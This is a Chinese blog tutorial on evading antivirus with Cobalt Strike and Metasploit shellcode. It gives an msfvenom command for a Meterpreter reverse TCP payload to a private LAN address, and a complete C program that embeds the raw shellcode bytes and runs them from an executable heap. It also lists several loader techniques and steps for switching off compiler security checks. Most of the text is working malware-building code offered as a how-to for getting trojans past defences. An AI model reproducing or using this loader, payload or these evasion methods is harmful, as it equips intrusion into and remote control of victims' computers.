C2免杀--手工shellcode编译,shellcode免杀思路

前言

欢迎来到我的博客

个人主页:北岭敲键盘的荒漠猫-CSDN博客

 本文主要整理C2免杀中

shellcode代码免杀的相关部分

shellcode概念

我们也不啰嗦,我直接直观的描述一下他。

他就是一串机器能运行的代码,但是他不是正统的python,c,c++的代码。

这串代码就有木马功能,我们需要写一个加载器去运行这串代码就能实现木马上线。

因此,shellcode也是能够嵌入到正规的程序中做伪装的。

CS手工编译过程

本处使用cs2工具的shellcode代码。

常规使用操作

启动cs2

常规操作创建监听器

 然后直接生成exe文件

直接生成exe。

生成shellcode

我们用这个生成

他会有很多种代码格式可以选择。

生成python的

看,他全存在变量里了。

生成c语言的模版,记得把x64给去掉,只能用32位汇编,不然出错(在这个坑中栽了很久)

因为c语言偏底层,所以c语言免杀的玩法相对较多。

生成代码后我们vs中创建一个项目,把生成的代码复制进来。

之后包含正常的编写文件,再写一个加载器来调用这个汇编语言就可以了。

然后编译之前需要设置一下属性,让他不做安全检查

多线程也改一下

代码常规性检查也给关掉

然后就是汇编语言只能32位的问题,当然不是说只能32,是vs中64位__asm不能内联汇编

改成32位

 配置完毕就可以直接生成了。

这里注意下,加载器有以下几种。

    //方式一:指针执行
   /* ((void(*)(void)) & buf)();*/
    ​
        //方式二:强制类型转换
        //((void(WINAPI*)(void))&buf)();
        ​
        //方式三:申请动态内存加载
        /*char* Memory;
        Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        memcpy(Memory, buf, sizeof(buf));
        ((void(*)())Memory)();*/
        ​
        //方式四:嵌入汇编加载
        //__asm {
        //lea eax,buf
        //call eax
        //}
        ​
        //方式五:汇编花指令
        //__asm{
        //mov eax, offset shellcode
        //_emit 0xFF
        //_emit 0xE0
        //}

__asm在生成x86有效,x64会报错,22版vs不支持asm内联汇编了。

生成的木马放到虚拟机中测试

上线不了!凸(艹皿艹 )

如果大家遇到这种情况就别用指针和asm内联了。

我们多换几个加载器就可以了

void main() {
    HANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(buf), 0);
    char* buffer = (char*)HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, sizeof(buf));
    memcpy(buffer, buf, sizeof(buf));
    ((void(*)(void)) buffer)();
}

这个加载器可以上线

编译完成后放到虚拟机中

成功上线。

MSF手工编译过程

生成shellcode

输入指令:(用的viper这类图形化的用别的方法)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.128.135 LPORT=6001 -f c

ip和端口自己改一下

手工编译

把代码复制到vs中

然后跟上面一样写个加载器编译就行了。

#include <string.h>
#include <stdio.h>
#include <Windows.h>

unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x31\xff\x0f\xb7"
"\x4a\x26\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01"
"\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01\xd0\x50\x8b\x58\x20"
"\x01\xd3\x8b\x48\x18\x85\xc9\x74\x3c\x49\x8b\x34\x8b\x31"
"\xff\x01\xd6\x31\xc0\xc1\xcf\x0d\xac\x01\xc7\x38\xe0\x75"
"\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01"
"\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01"
"\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58"
"\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00"
"\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"
"\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80"
"\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x80\x87\x68\x02\x00"
"\x17\x71\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74"
"\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"
"\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10"
"\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53"
"\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8"
"\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b"
"\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e"
"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a"
"\x00\x53\xff\xd5";


// 主函数
void main() {
    HANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(buf), 0);
    char* buffer = (char*)HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, sizeof(buf));
    memcpy(buffer, buf, sizeof(buf));
    ((void(*)(void)) buffer)();
}

创建监听后上线。

(但可能是windows对这种shellcode的安全策略,导致很多未经加密的加载器都很难上线)

CS的通过换加载器能够实现上线,但是msf的我没有上线成功。

需要进行后续的代码混淆。

shellcode免杀思路

这篇仅整理思路,具体的后面篇章整理

1.自写shellcode

2.加密混淆

3.分离隐藏

4.注入回调

加载器免杀思路

想尽一切办法

开辟一块内存空间用于执行shellcode

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

北岭敲键盘的荒漠猫

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值